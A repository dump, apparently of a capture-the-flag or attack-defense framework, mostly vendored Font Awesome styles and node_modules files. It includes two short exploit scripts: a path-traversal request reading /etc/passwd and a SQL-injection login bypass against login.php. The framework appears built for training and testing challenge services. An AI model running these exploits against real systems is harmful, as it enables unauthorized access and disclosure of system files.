24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/mazeAttack.py:
--------------------------------------------------------------------------------
1 | from ExploitFrame import ExploitFrame
2 | import urllib2
3 |
4 | class Exploit(ExploitFrame):
5 | def __init__(self, serviceInfo):
6 | self.name = 'maze'
7 | self.output = None
8 | ExploitFrame.__init__(self, serviceInfo)
9 |
10 | def exploit(self):
11 | url = "http://{}:31337/../../../../../etc/passwd".format(self.serviceInfo.serviceHost)
12 | try:
13 | self.output = urllib2.urlopen(url).read()
14 | except: # NOQA
15 | self.output = sys.exc_info()[0].reason
16 |
17 | def exploitSuccess(self):
18 | print "Exploit Output: {}".format(self.output)
19 | if self.output and self.output[0:4] == "root":
20 | return True
21 | return False
22 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/bordered-pulled.less:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em @fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .@{fa-css-prefix}-pull-left { float: left; }
11 | .@{fa-css-prefix}-pull-right { float: right; }
12 |
13 | .@{fa-css-prefix} {
14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .@{fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/bordered-pulled.less:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em @fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .@{fa-css-prefix}-pull-left { float: left; }
11 | .@{fa-css-prefix}-pull-right { float: right; }
12 |
13 | .@{fa-css-prefix} {
14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .@{fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/rotated-flipped.less:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); }
5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
7 |
8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .@{fa-css-prefix}-rotate-90,
15 | :root .@{fa-css-prefix}-rotate-180,
16 | :root .@{fa-css-prefix}-rotate-270,
17 | :root .@{fa-css-prefix}-flip-horizontal,
18 | :root .@{fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em $fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .#{$fa-css-prefix}-pull-left { float: left; }
11 | .#{$fa-css-prefix}-pull-right { float: right; }
12 |
13 | .#{$fa-css-prefix} {
14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .#{$fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em $fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .#{$fa-css-prefix}-pull-left { float: left; }
11 | .#{$fa-css-prefix}-pull-right { float: right; }
12 |
13 | .#{$fa-css-prefix} {
14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .#{$fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/vary/HISTORY.md:
--------------------------------------------------------------------------------
1 | 1.1.0 / 2015-09-29
2 | ==================
3 |
4 | * Only accept valid field names in the `field` argument
5 | - Ensures the resulting string is a valid HTTP header value
6 |
7 | 1.0.1 / 2015-07-08
8 | ==================
9 |
10 | * Fix setting empty header from empty `field`
11 | * perf: enable strict mode
12 | * perf: remove argument reassignments
13 |
14 | 1.0.0 / 2014-08-10
15 | ==================
16 |
17 | * Accept valid `Vary` header string as `field`
18 | * Add `vary.append` for low-level string manipulation
19 | * Move to `jshttp` orgainzation
20 |
21 | 0.1.0 / 2014-06-05
22 | ==================
23 |
24 | * Support array of fields to set
25 |
26 | 0.0.0 / 2014-06-04
27 | ==================
28 |
29 | * Initial release
30 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/rotated-flipped.less:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); }
5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
7 |
8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .@{fa-css-prefix}-rotate-90,
15 | :root .@{fa-css-prefix}-rotate-180,
16 | :root .@{fa-css-prefix}-rotate-270,
17 | :root .@{fa-css-prefix}-flip-horizontal,
18 | :root .@{fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/fresh/HISTORY.md:
--------------------------------------------------------------------------------
1 | 0.3.0 / 2015-05-12
2 | ==================
3 |
4 | * Add weak `ETag` matching support
5 |
6 | 0.2.4 / 2014-09-07
7 | ==================
8 |
9 | * Support Node.js 0.6
10 |
11 | 0.2.3 / 2014-09-07
12 | ==================
13 |
14 | * Move repository to jshttp
15 |
16 | 0.2.2 / 2014-02-19
17 | ==================
18 |
19 | * Revert "Fix for blank page on Safari reload"
20 |
21 | 0.2.1 / 2014-01-29
22 | ==================
23 |
24 | * Fix for blank page on Safari reload
25 |
26 | 0.2.0 / 2013-08-11
27 | ==================
28 |
29 | * Return stale for `Cache-Control: no-cache`
30 |
31 | 0.1.0 / 2012-06-15
32 | ==================
33 | * Add `If-None-Match: *` support
34 |
35 | 0.0.1 / 2012-06-10
36 | ==================
37 |
38 | * Initial release
39 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/setprototypeof/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2015, Wes Todd
2 |
3 | Permission to use, copy, modify, and/or distribute this software for any
4 | purpose with or without fee is hereby granted, provided that the above
5 | copyright notice and this permission notice appear in all copies.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
8 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
9 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
10 | SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
11 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
12 | OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
13 | CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
14 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/inherits/inherits_browser.js:
--------------------------------------------------------------------------------
1 | if (typeof Object.create === 'function') {
2 | // implementation from standard node.js 'util' module
3 | module.exports = function inherits(ctor, superCtor) {
4 | ctor.super_ = superCtor
5 | ctor.prototype = Object.create(superCtor.prototype, {
6 | constructor: {
7 | value: ctor,
8 | enumerable: false,
9 | writable: true,
10 | configurable: true
11 | }
12 | });
13 | };
14 | } else {
15 | // old school shim for old browsers
16 | module.exports = function inherits(ctor, superCtor) {
17 | ctor.super_ = superCtor
18 | var TempCtor = function () {}
19 | TempCtor.prototype = superCtor.prototype
20 | ctor.prototype = new TempCtor()
21 | ctor.prototype.constructor = ctor
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/utils-merge/README.md:
--------------------------------------------------------------------------------
1 | # utils-merge
2 |
3 | Merges the properties from a source object into a destination object.
4 |
5 | ## Install
6 |
7 | $ npm install utils-merge
8 |
9 | ## Usage
10 |
11 | ```javascript
12 | var a = { foo: 'bar' }
13 | , b = { bar: 'baz' };
14 |
15 | merge(a, b);
16 | // => { foo: 'bar', bar: 'baz' }
17 | ```
18 |
19 | ## Tests
20 |
21 | $ npm install
22 | $ npm test
23 |
24 | [](http://travis-ci.org/jaredhanson/utils-merge)
25 |
26 | ## Credits
27 |
28 | - [Jared Hanson](http://github.com/jaredhanson)
29 |
30 | ## License
31 |
32 | [The MIT License](http://opensource.org/licenses/MIT)
33 |
34 | Copyright (c) 2013 Jared Hanson <[http://jaredhanson.net/](http://jaredhanson.net/)>
35 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/forwarded/index.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * forwarded
3 | * Copyright(c) 2014 Douglas Christopher Wilson
4 | * MIT Licensed
5 | */
6 |
7 | /**
8 | * Module exports.
9 | */
10 |
11 | module.exports = forwarded
12 |
13 | /**
14 | * Get all addresses in the request, using the `X-Forwarded-For` header.
15 | *
16 | * @param {Object} req
17 | * @api public
18 | */
19 |
20 | function forwarded(req) {
21 | if (!req) {
22 | throw new TypeError('argument req is required')
23 | }
24 |
25 | // simple header parsing
26 | var proxyAddrs = (req.headers['x-forwarded-for'] || '')
27 | .split(/ *, */)
28 | .filter(Boolean)
29 | .reverse()
30 | var socketAddr = req.connection.remoteAddress
31 | var addrs = [socketAddr].concat(proxyAddrs)
32 |
33 | // return all addresses
34 | return addrs
35 | }
36 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/challenges/standard/standard-challenge-create.js:
--------------------------------------------------------------------------------
1 | // Markdown Preview
2 | $('#desc-edit').on('shown.bs.tab', function (event) {
3 | if (event.target.hash == '#desc-preview'){
4 | $(event.target.hash).html(marked($('#desc-editor').val(), {'gfm':true, 'breaks':true}));
5 | }
6 | });
7 | $('#new-desc-edit').on('shown.bs.tab', function (event) {
8 | if (event.target.hash == '#new-desc-preview'){
9 | $(event.target.hash).html(marked($('#new-desc-editor').val(), {'gfm':true, 'breaks':true}));
10 | }
11 | });
12 | $("#solve-attempts-checkbox").change(function() {
13 | if(this.checked) {
14 | $('#solve-attempts-input').show();
15 | } else {
16 | $('#solve-attempts-input').hide();
17 | $('#max_attempts').val('');
18 | }
19 | });
--------------------------------------------------------------------------------
/Akeso/Exploits/SQLi.py:
--------------------------------------------------------------------------------
1 | from ExploitFrame import ExploitFrame
2 | import requests
3 |
4 |
5 | class Exploit(ExploitFrame):
6 | def __init__(self, serviceInfo):
7 | self.name = 'SQLi'
8 | self.output = None
9 | ExploitFrame.__init__(self, serviceInfo)
10 |
11 | def exploit(self):
12 | url = "http://{}/login.php".format(self.serviceInfo.serviceHost)
13 | try:
14 | r = requests.post(url, data={'username': 'admin', 'password': """asdf' OR '1==1'; -- """})
15 | self.output = r.text
16 | except: # NOQA
17 | self.output = None
18 |
19 | def exploitSuccess(self):
20 | print "Exploit Output: {}".format(self.output)
21 | if self.output and self.output == "You logged in as admin\n":
22 | return True
23 | return False
24 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/after/index.js:
--------------------------------------------------------------------------------
1 | module.exports = after
2 |
3 | function after(count, callback, err_cb) {
4 | var bail = false
5 | err_cb = err_cb || noop
6 | proxy.count = count
7 |
8 | return (count === 0) ? callback() : proxy
9 |
10 | function proxy(err, result) {
11 | if (proxy.count <= 0) {
12 | throw new Error('after called too many times')
13 | }
14 | --proxy.count
15 |
16 | // after first error, rest are passed to err_cb
17 | if (err) {
18 | bail = true
19 | callback(err)
20 | // future error callbacks will go to error handler
21 | callback = err_cb
22 | } else if (proxy.count === 0 && !bail) {
23 | callback(null, result)
24 | }
25 | }
26 | }
27 |
28 | function noop() {}
29 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/parsejson/test.js:
--------------------------------------------------------------------------------
1 | var assert = require('better-assert');
2 | var expect = require('expect.js');
3 | var parsejson = require('./index.js');
4 |
5 | describe('my suite', function(){
6 | it('should parse a JSON string', function () {
7 |
8 | var jsonString = '{"users" :[{"first_name":"foo", "last_name":"bar"}],' +
9 | '"id" :40,' +
10 | '"cities":["los angeles", "new york", "boston"]}';
11 |
12 | var jsonObj = parsejson(jsonString);
13 | expect(jsonObj.users[0].first_name).to.be("foo");
14 | expect(jsonObj.users[0].last_name).to.be("bar");
15 | expect(jsonObj.id).to.be(40);
16 | expect(jsonObj.cities[0]).to.be('los angeles');
17 | expect(jsonObj.cities[1]).to.be('new york');
18 | expect(jsonObj.cities[2]).to.be('boston');
19 |
20 | });
21 | });
22 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
7 |
8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .#{$fa-css-prefix}-rotate-90,
15 | :root .#{$fa-css-prefix}-rotate-180,
16 | :root .#{$fa-css-prefix}-rotate-270,
17 | :root .#{$fa-css-prefix}-flip-horizontal,
18 | :root .#{$fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
7 |
8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .#{$fa-css-prefix}-rotate-90,
15 | :root .#{$fa-css-prefix}-rotate-180,
16 | :root .#{$fa-css-prefix}-rotate-270,
17 | :root .#{$fa-css-prefix}-flip-horizontal,
18 | :root .#{$fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/inherits/LICENSE:
--------------------------------------------------------------------------------
1 | The ISC License
2 |
3 | Copyright (c) Isaac Z. Schlueter
4 |
5 | Permission to use, copy, modify, and/or distribute this software for any
6 | purpose with or without fee is hereby granted, provided that the above
7 | copyright notice and this permission notice appear in all copies.
8 |
9 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
10 | REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
11 | FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
12 | INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
13 | LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
14 | OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
15 | PERFORMANCE OF THIS SOFTWARE.
16 |
17 |
--------------------------------------------------------------------------------
/examples/challenges/Maze/node_modules/ws/lib/ErrorCodes.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * ws: a node.js websocket client
3 | * Copyright(c) 2011 Einar Otto Stangvik